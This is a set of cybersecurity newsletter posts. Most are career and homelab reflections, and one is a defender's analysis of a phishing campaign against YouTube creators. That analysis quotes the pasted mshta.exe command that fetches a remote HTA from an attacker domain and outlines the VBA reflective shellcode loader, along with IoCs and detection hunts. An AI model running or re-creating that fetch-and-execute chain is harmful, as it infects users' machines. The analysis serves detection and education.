The difference is intentionality.

If it doesn’t add real value to your path, isn’t practical, won’t be applied, and has a better alternative, you already know the move: don’t take it.

Be surgical. Be practical.

Go further, faster, and smartly.

Cyberwox Resources

Resources for your career

🔹Join the Cyberwox Academy Discord!!

🔷 Check out the episodes of the Cyberstories Podcast on your favorite platform

🔹Cyberwox Cybersecurity Notion Templates for planning your career

🔹Cyberwox Best Entry-Level Cybersecurity Resume Template

🔹Learn AWS Threat Detection with my LinkedIn Learning Course

Closing

Once again, you made it this far :)

Feel free to reply, share your thoughts, or pass this on to someone who needs it.

Thanks for reading. If you'd like, you can subscribe and restack - it helps spread the word and encourages me to continue writing content. If not, I’ll see you around…somewhere on the internet!

What once appeared as clumsy scams with broken English and shady attachments has evolved into sophisticated, multi-layered attacks. Modern attacker campaigns not only deceive users but also utilize legitimate cloud services and Windows tools to blend into regular activity seamlessly.

This analysis covers a recent phishing attack that targeted me personally as a YouTube creator. On the surface, it appeared to be just another “appeal your ban” email. But once analyzed, it unraveled into a sophisticated malware chain that used Google Drive for delivery, Cloudflare for hosting, and Microsoft binaries like mshta.exe and Excel as the actual malware delivery mechanism.

One important note: I learned much of this in real time. I haven’t worked in a purely Windows environment in a few years, so a lot of this was deducing and making inferences based on past knowledge, some training I’ve taken, and pure intuition.

During my investigation, I didn’t start with a pre-written script or specific expectations. Instead, I learned each step in real-time, shifting from VirusTotal to ANY.RUN, dissecting a VBScript, and asking more questions as new behaviors appeared.

This approach makes this case worth sharing, as it involved not just analysis but active learning in practice.

The goal here isn’t just to show what happened, but also why it matters. I’ll break down the campaign stage by stage, explain the attacker’s logic, and highlight what defenders can learn — whether you’re just starting out or already working in incident response.

Subscribe now

🎥 Extended Video Analysis

For readers who want to see this campaign in action, I’ve published a 30-minute video analysis that walks through the complete sandbox detonation, script deobfuscation, and reflective loader behavior.

This video is available exclusively to Cyberwox Syndicate members on YouTube, along with a library of other technical breakdowns covering Detection Engineering, Threat Hunting scenarios, Incident Response case studies, Career Advice, Python Coding & AI.

📌 Learn more about the Syndicate and gain access here.

Analysis

Phase 1: Initial Access (The Phish)

Source: TA0001

The email appeared deceptively routine: a Google Drive share notification informing me that my channel was at risk of being banned unless I filed an “appeal.”

Historically, phishing emails attached malicious Office documents or zipped EXEs.

In recent years, defenders have become more resilient against those vectors. As a result, attackers have shifted to:

• Cloud file-sharing abuse (Google Drive, Dropbox, OneDrive) to bypass filters.

• Impersonation of high-value brands (YouTube, PayPal, Microsoft).

• Social urgency: “Act now, or lose access.”

📸 [Screenshot: phishing email / Google Drive link]

📸 [Screenshot: phishing email / Vimeo too]

This was clearly not a handcrafted spearphish.

It appeared to be a campaign, hitting multiple inboxes simultaneously (redacted) with just enough polish to deceive distracted users.

Phase 2: The Fake Appeal Site & Clipboard Hijacking

Source: T1566.002

Clicking through the initial link policy[.]video led to youtube.strike.alert[.]org - a fake “YouTube Appeal Center.”

The page was convincing enough to mimic YouTube’s workflows.

📸 [Screenshot: fake appeal page]

📸 [Screenshot: me posing as Mr. Beast]

Here’s the clever part: it didn’t even ask me to log in to my channel afterwards.

Instead, it auto-populated my clipboard with a command and told me to complete the appeal process by executing: Win+R → Paste → Enter.

This represents a notable evolution in attacker techniques.

Historically, attackers tricked users into downloading EXEs. Today, they social-engineer users into running native binaries already on their system.

This helps them to “Live Off The Land”.

Also, clipboard hijacking is an under-discussed topic in phishing defense. Most training advises “don’t click links” but rarely emphasizes “be cautious about what you paste.”

📸 [Screenshot: Win+R instructions / pasted clipboard injection]

C:\WINDOWS\system32\mshta.exe hxxps://policy-agreement[.]com/DMCA_Notice.hta

The paste leveraged mshta.exe, a signed Microsoft binary capable of fetching and executing remote HTA (HTML Application) files.

Tooling Transparency (Not Sponsored)

This analysis was powered heavily by ANY.RUN’s interactive malware sandbox, which made it possible to observe each stage of the phishing chain in real time.

This issue is not sponsored by ANY.RUN, but I want to be transparent in crediting the platform because it played a central role in uncovering everything laid out here.

For defenders who want to go deeper than running single samples, ANY.RUN recently rolled out Threat Intelligence Feeds that aggregate behavioral data across thousands of detonations. This expands visibility from “what happened in my one sandbox run” to “what’s happening across the wild right now.”

📌 If you’re serious about threat intelligence, threat hunting or detection engineering, it’s worth exploring.

You can also find the ANY.RUN report for this investigation here.

Phase 3: MSHTA & Living Off the Land

Source: T1218.005

MSHTA isn’t malware. It’s actually part of Windows, specifically a Living-Off-the-Land (LOLBIN) binary.

Attackers abuse it because:

• It’s trusted, signed by Microsoft.

• It bypasses application whitelisting in many enterprises.

• It supports remote execution of HTAs with full scripting capabilities (CRAZY WORK).

📸 [Screenshot: MSHTA Madness during analysis]

Historically, MSHTA abuse goes back to at least 2017, when APT32 and FIN7 used it in phishing campaigns (maybe one of them is targeting influencers now).

In this case, mshta.exe was instructed to download and run an HTA file called DMCA_notice.htafrom a remote server.

That file contained the next stage: VBScript code.

Light reading on MSHTA from Red Canary.

MSHTA LOLBIN Profile.

Phase 4: The HTA Loader (VBScript → Excel)

Source: T1218.005

As mentioned previously, the downloaded HTA file contained obfuscated VBScript code.

This is where we begin to see the transition from social engineering to execution.

SN: I’m not all that familiar with VBScript, but I can get by.

The VBScript:

• Spawned an Excel.Application COM object.

• Temporarily enabled the registry key AccessVBOM (which governs programmatic access to the VBA project model).

• Injected a Base64-decoded VBA macro directly into Excel.

• Wired a Workbook_NewSheet event to ensure execution.

📸 [Screenshot: Registry key modification – AccessVBOM enabled]

📸 [Screenshot: Subtle string concatenation obfuscation behavior]

Quick aside, I thought this string concatenation behavior was quite interesting.

Instead of writing the suspicious string outright ("Excel.Application"), the attacker breaks it into smaller fragments:

tmpString = "Exc"
tmpString = tmpString & "el.App"
tmpString = tmpString & "lication"

Then, at runtime, those fragments are concatenated into the full string:
Excel.Application

That reconstructed string is then passed into CreateObject() to instantiate Excel via COM automation.

Why would an attack do all this?

Signature Evasion: Static scanners will often look for explicit strings like "Excel.Application", "Wscript.Shell", or "MSXML2.XMLHTTP". Breaking them up prevents easy pattern-matching.

Analyst Friction: For someone casually inspecting the script, it appears more confusing, and you need to reassemble the pieces mentally.

Commodity Obfuscation: This technique is cheap and easy to implement. You often see it in phishing droppers, VBA/VBS loaders, and even JavaScript malware.

Victim Susceptibility: This technique bypasses the traditional “open this malicious document” step, which a suspecting victim will be privy to.

Red Canary has a nicely written blog on this behavior.

Phase 5: The VBA Reflective Loader

Source: T1620

Source: T1027.011

Once injected, the macro acted like a reflective shellcode loader.

Instead of dropping a file to disk, it:

• Converted encoded Base64 payload strings back into executable code.

• Used indirect API calls (DispCallFunc) to resolve Windows functions dynamically, avoiding static detection.

  • More about DispCallFunc.

• Reserved RWX (Read-Write-Execute) memory (VirtualAlloc), copied shellcode into it (RtlMoveMemory), and executed it with CreateThread.

  • More about VirtualAlloc.

  • More about RtlMoveMemory.

📸 [Screenshot: Any.Run view – Excel.exe outbound connection]

This is the same type of technique often employed in advanced malware & C2 frameworks, such as Cobalt Strike.

The difference here is that it was part of a phishing campaign targeting YouTube creators, which illustrates how attacker tradecraft once exclusive to nation-states or red-team operations is now appearing in common campaigns.

The macro reached out to:

• hxxps://policy-agreement[.]com/agrees.bin (x86 payload)

• hxxps://policy-agreement[.]com/agreese.bin (x64 payload)

Both were delivered over HTTPS, with certificate errors ignored — another way of blending into normal traffic.

It’s crazy that this binary never touched disk. It lived entirely in memory.

Some cool notes on reflective loaders.

Phase 6: Command and Control

Source: TA0011

Excel itself acted as the beacon, the communication channel.

• C2 domain: policy-agreement[.]com

• Protocol: HTTPS (but with bad certificates silently bypassed)

• User-Agent: An outdated Internet Explorer string (Mozilla/4.0; MSIE 6.0; Windows NT 5.0). This can help evade modern detection rules that expect current browser signatures.

• Infrastructure: Cloudflare-protected, backend IP in Amsterdam (RIPE NCC allocation).

📸 [Screenshot: Excel.exe using legacy UserAgent]

Join a vibrant cybersecurity community of over 6,500 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

Attribution Notes

I am not assigning this campaign to a named actor.

The evidence suggests a commodity crimeware operation or an affiliate-driven ecosystem, rather than a bespoke, state-sponsored group (bummer).

Several factors inform this assessment:

• Targeting: “YouTube appeal” lures are a well-worn tactic in campaigns designed to hijack creator accounts for monetization (ad fraud, crypto scams, or resale). This is not new at all.

• Tradecraft reuse: The clipboard → Win+R → mshta.exe pattern, HTA/VBScript loader, and reflective VBA macro are drawn from widely circulated public code. Even the outdated Internet Explorer User-Agent hints at template reuse rather than original development.

• Infrastructure: The use of Cloudflare-fronted domains like policy-agreement[.]com with generic naming and shared backend IPs is consistent with low-cost, low-OPSEC phishing kits that frequently rotate their infrastructure.

• Execution: While reflective loading and fileless execution look “advanced,” these have become standardized in the malware-as-a-service space and don’t necessarily indicate a high-skill actor.

What’s missing for higher-confidence attribution are overlaps in infrastructure (domain clusters, cert reuse), payload families, or development artifacts.

Given the current depth of my analysis, my most accurate framing is a financially motivated loader campaign leveraging commodity techniques against YouTube creators.

Defense Mechanisms

This campaign leaves behind multiple breadcrumbs across host, network, and memory. Below are hunting opportunities mapped to MITRE ATT&CK TTPs, with practical angles defenders can pursue.

Process & Execution Hunts

• mshta.exe launching Excel

  • ATT&CK: T1218.005 - Signed Binary Proxy Execution: MSHTA

  • Hunt idea: Query EDR/Sysmon logs for mshta.exe spawning excel.exe (rare, highly suspicious).

  • Example:

    • Sysmon Event ID 1 (ProcessCreate)

    • ParentImage: mshta.exe + Image: excel.exe

• Excel spawning unusual child processes

  • ATT&CK: T1106 - Native API; T1105 – Ingress Tool Transfer

  • Hunt for excel.exe with outbound network activity or process injection behaviors (should be nearly nonexistent in normal use).

Registry Hunts

• Modification of AccessVBOM key

  • HKCU\Software\Microsoft\Office\<ver>\Excel\Security\AccessVBOM

  • ATT&CK: T1112 - Modify Registry

  • Hunt for registry changes that enable VBOM access, especially those followed by Excel activity.

  • Sysmon Event ID 13 (RegistryEvent) with TargetObject: *\AccessVBOM

Network Hunts

• Excel initiating HTTPS connections

  • ATT&CK: T1071.001 - Application Layer Protocol: Web (HTTPS)

  • Hunt for unusual parent process (excel.exe) establishing TLS sessions.

  • Alert on legacy User-Agent strings (Mozilla/4.0; MSIE 6.0; Windows NT 5.0) in proxy logs.

• Connections to suspicious domains behind Cloudflare

  • ATT&CK: T1102 - Web Service; T1105 - Ingress Tool Transfer

  • Focus on domains recently registered, mismatched TLS certs, or with patterns mimicking legitimate services (policy-agreement[.]com, youtube.strike.alert[.]org).

Memory / API Call Hunts

• Excel performing reflective code loading

  • ATT&CK: T1620 - Reflective Code Loading

  • Look for Office processes calling VirtualAlloc, RtlMoveMemory, and CreateThread.

  • ETW or EDR telemetry can reveal these unusual API sequences.

Clipboard / User Interaction Hunts

• Clipboard injection leading to Win+R execution

  • ATT&CK: T1056.001 - Input Capture: Clipboard Data

  • Hunt for patterns of auto-pasted mshta.exe commands in user activity logs.

  • Harder to detect, but can be spotted in forensic investigations.

Defensive Controls to Prioritize

• Restrict or disable mshta.exe (AppLocker / WDAC).

• Enable Microsoft ASR rules:

  • Block Office applications from creating child processes

  • Block Win32 API calls from Office macros

• Harden macro execution policies; disable programmatic access to VBOM.

• Add proxy/firewall detections for Excel/Office Apps outbound HTTPS traffic.

Indicators of Compromise (IoCs)

IPs

• 188.114.96.3

• 185.158.133.1

Domains

• policy[.]video

• youtube.strike.alert[.]org

• policy-agreement[.]com

Files

• DMCA_notice.hta

• agrees.bin

• agreese.bin

Hashes

• af32902cf27ffe3d4c1de4cf889edb0ed4ecae0f910ab47a2a0188be08b39f83

Registry

• HKCU\Software\Microsoft\Office\<ver>\Excel\Security\AccessVBOM

Processes

• mshta.exe launching HTA → Excel.exe network activity

Detection Opportunities

Host-Based:

• Monitor for mshta.exe spawning Office processes.

• Alert on AccessVBOM registry changes.

• Hunt for RWX memory allocations in Excel (or other office apps).

Network-Based:

• Excel initiating HTTPS sessions.

• Legacy User-Agent strings.

• C2 domains behind Cloudflare with ignored TLS validation.

Prevention:

• Restrict/block MSHTA in enterprise environments (as needed).

• Enforce Office ASR rules (“block child processes,” “block API calls from macros”).

• Disable programmatic VBOM access via GPO.

Conclusion

What happened to me is part of a larger trend showing that phishing is no longer just an email with bad grammar. It’s now:

• Blended trust abuse: Cloud services + legitimate binaries.

• Multi-stage loaders: HTA → VBScript → Excel → reflective shellcode.

• Defense evasion: fileless, memory-resident, TLS-encrypted C2.

For newer defenders, the lesson is not to underestimate a “simple phish.”

For seasoned analysts, this campaign demonstrates how low-cost adversaries are now borrowing tradecraft once considered “sophisticated.”

This incident serves as a reminder that attackers don’t have to invent new methods constantly. They simply adapt existing, proven techniques in ways that defenders might overlook.

Closing Note

Thank you for reading!

This is my first full analysis-style newsletter, as most of my writing here has been reflective or career-focused. However, this time I wanted to share what it looks like when I sit down and work through a real-world attack in detail.

This kind of analysis is something I plan to do more often, blending storytelling, threat intelligence, and detection engineering into reports that are useful to both students and seasoned professionals.

Your feedback means a great deal as I develop this format. If you found this valuable, please share it with someone in your network who would also benefit from it.

Share Cyberwox Unplugged

Behind every headline of breaches and takedowns are targeted campaigns carried out by methodical, well-resourced threat actors — each with their motives, tactics, and long-term goals.

One such group is Salt Typhoon (also tracked as FamousSparrow and GhostEmperor depending on the vendor).

A Chinese nation-state–backed adversary that has been discovered infiltrating major U.S. telecom networks — from T-Mobile to Verizon, Samsung, and others.

Salt Typhoon is known for stealth, patience, and precision.

They leave behind only faint traces across compromised networks, making it exceptionally difficult for defenders to contain or eradicate their activity.

That challenge is exactly where cyber threat intelligence (CTI) comes in.

From IOCs to Insight

Threat intelligence is not just about collecting IOCs (indicators of compromise, such as hashes, IPs, and domains) and feeding them into SIEMs.

At its best, CTI is about connecting the dots: finding patterns across disparate indicators, uncovering infrastructure, profiling adversary behavior, and turning raw data into actionable defense.

The value lies in the transformation:

• From a file hash → to the malware family behind it.

• From a suspicious domain → to the broader C2 network.

• From isolated alerts → to an adversary campaign strategy.

When done well, this enables defenders to build more effective detections, strengthen playbooks, automate enrichment, and prioritize risks in line with evolving active threat landscapes.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from various SOC analyst roles, investigating everything from endpoint threats to building detection systems for cloud-based abuse, so I know exactly what it takes to break into this field and make career advancements.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

If you want to stay up-to-date on the cybersecurity industry and everything technical and career-related, be sure to like and subscribe to the newsletter for more content like this.

Join a vibrant cybersecurity community of over 6,500 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

Applying CTI in Practice

As a Security Engineer at Amazon, I’ve had the opportunity to use threat intelligence at scale.

But CTI isn’t just for enterprise SOCs. With the right tools, individual analysts and researchers can explore and learn from the same adversary tradecraft.

For this issue, I investigated Salt Typhoon using ANY.RUN’s Threat Intelligence Platform. It blends interactive sandboxing (their signature strength) with curated intelligence and lookup capabilities. Here’s what that looks like in practice:

• Starting with a handful of IOCs, such as an IP address, a SHA-256 hash, or a domain name.

• Pivoting into reports → correlating with published research from vendors like Trend Micro.

• Interactive detonation → running suspicious files in a sandbox, observing process creation, persistence mechanisms, and outbound C2 calls.

• Hunting for connections → mapping behaviors against known TTPs and extracting new indicators.

• YARA integration → building and running rules directly in the platform to surface related artifacts.

What begins as a single suspicious hash quickly expands into a narrative: a Trojan is dropped, a service is created for persistence, reconnaissance of the host is conducted, and finally, communication with a C2 domain occurs.

Why It Matters

The power of CTI lies in turning fragments into a story.

Instead of drowning in endless IOCs, analysts can contextualize activity, link it to known actors, and anticipate what might come next.

In this case, a few scattered data points around Salt Typhoon transformed into a clearer picture of:

• Their infrastructure choices

• Their persistence techniques

• Their reconnaissance behavior

• Their communication patterns

With that knowledge, defenders can proactively hunt for related TTPs in their environments or simulate adversary behavior to test defenses.

ANY.RUN Threat Intelligence

This issue is powered by ANY.RUN, which sponsored this deep dive. ANY.RUN makes it easy to turn raw indicators into actionable intelligence without needing to set up your own lab environment. If you’re serious about developing threat intelligence skills, it’s worth checking out.

🚀Unlock (free) ANY.RUN Threat Intel

Closing

What began as a file hash and a suspicious domain evolved into a broader narrative about Salt Typhoon’s operations. That’s the heart of cyber threat intelligence: transforming raw signals into stories that defenders can act on.

If you’re early in your cybersecurity journey, practice this workflow yourself:

• Begin with a known IOC from a publicly available report.

• Pivot into related domains, files, and hashes.

• Map the TTPs you discover against frameworks like MITRE ATT&CK.

• Build detections or run hunts based on your findings.

That’s how you transition from merely “consuming” intel to generating actionable intelligence — a skill that grows from home labs to Fortune 500 SOCs.

Here’s a video that can help you do that:

Thanks for reading Cyberwox Unplugged! This post is public, so feel free to share it.

Share

I’ve been on both sides of this.

I failed the A+ twice, came back and passed, and even went on to complete the full CompTIA “trifecta” (A+, Network+, Security+).

Along the way, I discovered both the value and the limits of CompTIA A+ in a cybersecurity career.

Here’s my honest opinion based on my experience, not just what I read online.

My Perspective

When I first set out, I didn’t have any IT background.

No jobs, no internships, no professional experience. Just a freshman in college who was “tech savvy” but honestly had significant gaps in knowledge.

That’s where the CompTIA A+ became foundational for me.

It taught me the basics of hardware, software troubleshooting, virtualization, networking, and even a bit of security.

It gave me the vocabulary and confidence to start talking about IT in interviews and internships.

So yes, the CompTIA A+ was valuable as a learning tool.

It laid the groundwork for everything else: Network+, Security+, internships, and eventually, the career I have now.

Counterarguments (And Why They’re True Too)

Here’s the reality:

• You don’t need the CompTIA A+ to work in cybersecurity. Employers aren’t hiring security analysts because of an A+ certification. It won’t get your resume fast-tracked for a SOC, incident response, or any cybersecurity role.

• Even for IT help desk jobs, the CompTIA A+ is less recognized now than it was a decade ago. Many employers don’t care about it at all.

• If you’re already technical — maybe you’ve been tinkering with computers for years, are a hobbyist home labber, or you studied CS/IT in school — the A+ will feel redundant. You could skip it and jump straight into Security+ or a cloud cert.

So while it gave me the foundation I needed, I also tell people: don’t treat it as a mandatory step.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from SOC analyst roles, investigating everything from endpoint threats to cloud-based abuse, so I know exactly what it takes to break into this field.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

I was able to break into cybersecurity as early as my freshman year of college. I’ve secured several jobs and interviews before earning my college degree, and I’ve helped thousands of people achieve the same success on my various content channels and in my Discord Community.

Join a vibrant cybersecurity community of over 6,500 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

My Advice

Here’s what I’d recommend, based on living this journey myself:

1. Evaluate Your Starting Point.

   • If you’re brand new, non-technical, or lack confidence with computers, the A+ (or at least studying its materials) is a great launchpad.

   • If you already know how systems, networks, and troubleshooting work, skip it and go deeper.

2. Study the Materials Even If You Skip the Exam.

   • The objectives cover core IT fundamentals every cybersecurity pro should understand.

   • Read through them, watch Professor Messer, check Jason Dion’s practice tests — even if you don’t sit for the test, you’ll get the knowledge.

3. Don’t Let Certifications Define You.

   • I failed the A+ twice. What made the difference wasn’t a piece of paper — it was how I learned from failure, changed my study approach, and built discipline.

   • In interviews, my A+ alone didn’t land me internships. Selling myself, showing curiosity, and demonstrating what I learned mattered more than the cert itself.

4. Use A+ as a Stepping Stone.

   • If you do take it, use it as a bridge to Network+ and Security+. Networking, especially, will pay dividends in security analysis and investigations.

Personal Experiences That Shaped My View

Failure is a Turning Point

My first attempts were a mess.

Studied for both Core 1 & Core 2 at the same time. Used Cisco IT Essentials instead of the actual CompTIA A+ materials. Failed twice, right before my birthday.

I wanted to quit — but my dad encouraged me to try again. That encouragement was the catalyst for everything that came next.

The Power of Fundamentals

At my internship, I once had to analyze an IP address connection during an investigation. It clicked for me that without the networking fundamentals I picked up through A+ and later Network+, I would’ve struggled.

Not Just the Cert, But the Confidence

Even when employers didn’t care about my CompTIA A+, I cared. Because I knew I could hold my own in technical conversations, and that confidence carried me into bigger opportunities.

Closing Reflection

So, do you need the CompTIA A+ to get into cybersecurity?

No.
But for the right person — especially if you’re brand new, uncertain, or starting from zero — it can be a powerful foundation.

The CompTIA A+ won’t define your career. What will define it is your willingness to learn, to adapt, to fail forward, and to keep going.

Because in this field, the certs don’t make you.
The journey does.

Stay tuned.

Cyberwox Resources on the CompTIA A+

💡 A Note of Gratitude

Before I sign off, a huge thank you to all of you who support CYBERWOX Unplugged as paid subscribers. You make it possible for me to keep creating honest, reflective content like this, rooted in my own journey.

I don’t take that support for granted.

If you’re still on the fence, consider joining. It helps sustain the work and gives you access to deeper subscriber-only posts, resources, and behind-the-scenes reflections.

This is just the beginning.

Thanks for reading Cyberwox Unplugged! This post is public, so feel free to share it.

Share

That spark led me to build my very first homelab in a small apartment bedroom. No mentors, no structured guidance, just curiosity and trial-and-error.

That project changed everything. It was the first time I saw what was really happening under the hood: how hosts behaved, how networks communicated, how virtual machines could mimic production environments.

My entire career in incident response, detection engineering, threat hunting, and cloud security traces back to that moment.

Now, half a decade later, I’m starting over.

But this time, I’m building with real-world experience behind me, more intention, and a vision.

Dec 2020 → 18-year-old me - working as a Cybersecurity Intern & full-time college sophomore at the time.

Why Start Over?

The first lab was raw curiosity.

Plugging things together, watching packets fly, and trying to make sense of it all.

That’s exactly what I needed at the time. But I’ve grown. I’m no longer the kid trying to figure out what a SIEM even is. I’m a security engineer at Amazon who’s lived in the trenches of incident response, adversary detection, and cloud security.

And with that growth comes new questions:

• How can I push my homelab into its next evolution?

• How can I design my homelab to build and test the new skills I want to develop at this stage of my career?

• How can my new homelab help me learn new skills?

This time, the goal is not just tinkering. I’m designing a home Security Operations Center (SOC) where I can experiment, prototype, and learn new skills in public.

Jan 2021 → For a while, I thought I was going to become a network (security) engineer, so here I am in 2021, diving into network security for Cisco routers and switches. Spoiler: I did not become a network security engineer.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from SOC analyst roles, investigating everything from endpoint threats to cloud-based abuse, so I know exactly what it takes to break into this field.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

I was able to break into cybersecurity as early as my freshman year of college. I’ve secured several jobs and interviews before earning my college degree, and I’ve helped thousands of people achieve the same success on my various content channels and in my Discord Community.

Join a vibrant cybersecurity community of over 6,500 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

The New Blueprint

Here’s where I’m starting:

• The Hardware: I’m converting an old PC into a Type-1 hypervisor (bare-metal virtualization). No middleman OS, just pure performance and control.

• The Core Platform: Running Proxmox for virtualization. I’m also planning to explore diving deeper into mini-data center operations by leveraging Proxmox’s clustering functionality.

• The SOC Engine: Wazuh at the center, doubling as both my SIEM and XDR platform. This also helps me leverage a unified platform that I can plug external integrations into for experiments.

• Visibility Everywhere: Rolling out agents to every endpoint I can—Windows, macOS, IoT devices, even “smart” tech around the house. If it talks to the internet, I want visibility.

• Additional Tools: Still deciding, but possibilities include Limacharlie for EDR testing, Pfsense for firewall, and maybe some local Container tools that I may use for experimenting with Falco. Wazuh itself has active response, so I’ll be balancing native vs. add-on capabilities.

• AI in the SOC: Beyond buzzwords, I’ll experiment with using LLMs for anomaly detection, automation, and more intelligent triage workflows. I’ll also be playing around with MCP integrations to see what that yields.

March 2021 → the evolution of my “lab”. It honestly was just the addition of an excessive 49” ultrawide screen and stacked monitor setup.

Lessons in Frustration (and Growth)

One thing hasn’t changed since my first homelab: trial and error is the name of the game.

Getting Proxmox running on bare metal was a headache.

I went through HDMI swaps, capture card experiments, BIOS tweaks, and kernel parameter hacks before things finally booted correctly.

At one point, it felt like I’d broken the host.

Spoiler: I hadn’t. It just required persistence.

Moments like that reminded me why homelabs matter so much. They expose the rust in your technical chops.

They force you to fail, to troubleshoot, and to learn. And I’ve found that to be the best preparation for real-world security work.

May 2021 → I spent a lot of time learning about Splunk within my homelab, and it paid a lot of dividends over the ongoing course of my career (till this day).

Why It Matters. Why Now?

This lab isn’t about showing off gear (tbh the gear is old) or building the “perfect” setup. It’s about my desire to create a sandbox for growth:

• For me, it’s a way to stay sharp outside of work, to play with tools in ways I can’t in enterprise environments.

• For the community, it’s proof that learning never stops. I’ll be sharing my process openly, mistakes and all, so that others can build their own versions.

• For the industry, it’s a reminder that innovation often starts at home, with curiosity and persistence.

Five years ago, my first homelab helped me land interviews, build skills, and eventually start my career.

Who knows what this next one will spark?

January 2022 → New Apartment with separate setups for work and study/labbing. This is actually me taking the Security Blue Team BTL1 certification!

What’s Next

This was just Step 1: Laying the foundation.

Next, I’ll be deploying Wazuh on Proxmox, configuring my SIEM/XDR stack, and rolling out agents across every machine in my house.

From there, I’ll test detection engineering workflows, automation, and maybe even play with AI-assisted incident response.

If something in my home misbehaves, I want to catch it.
If it breaks, I want to know why.
And if it teaches me something new, I want to share that with you.

The journey continues.

Stay tuned.

💡 A Note of Gratitude

This issue of Cyberwox Unplugged is my very first paid post.

That means you’re not just reading my reflections—you’re directly supporting the growth of this publication and my mission to build practical, real-world cybersecurity content.

Thank you for being here and investing in the journey with me.

This is just the beginning.

Thanks for reading Cyberwox Unplugged! This post is public, so feel free to share it.

Share

This isn’t about ego, titles, or theatrics. It’s about execution. About being the kind of operator who steps into chaos and leaves behind clarity through efficiency, and impact.

This is the mindset I’ve been reflecting on lately, particularly as I’ve transitioned through various roles and companies in my half-decade cybersecurity career.

We often discuss frameworks, titles, skills, and playbooks in cybersecurity. But sometimes, what separates good from great isn’t a fancy detection algorithm, a well-polished resume, or even years of experience.

It’s how you move.

I call it the mercenary mindset, but not in the “gun-for-hire” sense.

I’m also not talking about loyalty to the highest bidder or some kind of dark ops aesthetic.

I’m talking about the real mercenary archetype. The type of person who doesn’t wait for permission. They don’t stall for clarity. They don’t need a job description to act.

They step in.

Assess the landscape.

Adapt to the terrain.

Execute the mission with precision.

And most importantly, they leave things better than they found them.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from various SOC analyst roles, investigating everything from endpoint threats to building detection systems for cloud-based abuse, so I know exactly what it takes to break into this field and make career advancements.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

If you want to stay up-to-date on the cybersecurity industry and everything technical and career-related, be sure to like and subscribe to the newsletter for more content like this.

Join a vibrant cybersecurity community of over 6,500 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

The Mercenary Archetype

Historically, mercenaries have played pivotal roles in shaping outcomes.

This was not because they were the most powerful, but rather because they were efficient, decisive, and unencumbered by internal red tape.

Take Executive Outcomes, for example, one of the most well-known private military companies of the 1990s. With a few hundred well-trained personnel and outdated equipment, they helped stabilize conflict zones and secure strategic resources that entire national armies had failed to manage.

Their success wasn’t rooted in scale. It was rooted in clarity of mission and precision of execution.

Now think about that through the lens of your cybersecurity career.

• How often do we see teams spin their wheels waiting for a Jira (or similar system) ticket to be resolved?

• How many times do people hold off on building a solution because they haven’t been told to?

• How many incident remediation tasks get delayed because no one wants to take ownership of the gray areas?

Mercenaries thrive in the gray. That’s where the impact is.

Personal Case Studies

Case Study 1: How I Built and Deployed an IR Analysis Procedure in a Single Day

Not long ago, while I was still working as a Security Engineer on my day job’s incident response team, a new detection triggered.

It was built recently and triggered on suspicious behavior, which was something worth investigating.

But as I looked into it, I quickly realized there was a problem. There was no documented response process for this alert—nothing for analysts to follow.

No clear runbook.

Just ambiguity.

Guess what? We love ambiguity over here.

But that ambiguity had a cost.

Analysts were escalating alerts like this to engineers because they weren’t confident in the next steps. The result was longer investigation times, duplicated effort, and a slow, inconsistent feedback loop.

Now I could’ve waited.

Sent a Slack message about it.

Logged a ticket.

Mentioned it in a weekly sync.

But that’s not how mercenaries move.

While actively working on the escalated alert, I created the missing process in real time. I defined the triage flow, codified the expected behaviors, and scoped it not just to that one alert, but to an entire class of similar alerts. That instantly multiplied the value of the effort.

Since the investigation involved decoding tokens, I also wrote a lightweight Python script to automate that decoding. It was designed to work within our data confidentiality boundaries while saving analysts significant time.

By the end of the same day, I had:

• Investigated and closed the alert

• Created a repeatable response framework for similar detections

• Built a Python tool that the team could use going forward

• Reduced time-to-resolution for all future alerts in that class

That wasn’t a heroic moment. That was a mercenary moment.

A single day of focused, strategic work that scaled our team’s capability in a measurable way.

Case Study 2: Dropped into New Terrain and Building from Scratch

In my previous role as a Cloud Threat Detection Engineer, I primarily worked on cloud infrastructure detections across AWS, Azure, and GCP.

That was my zone. I had a strong foundation there.

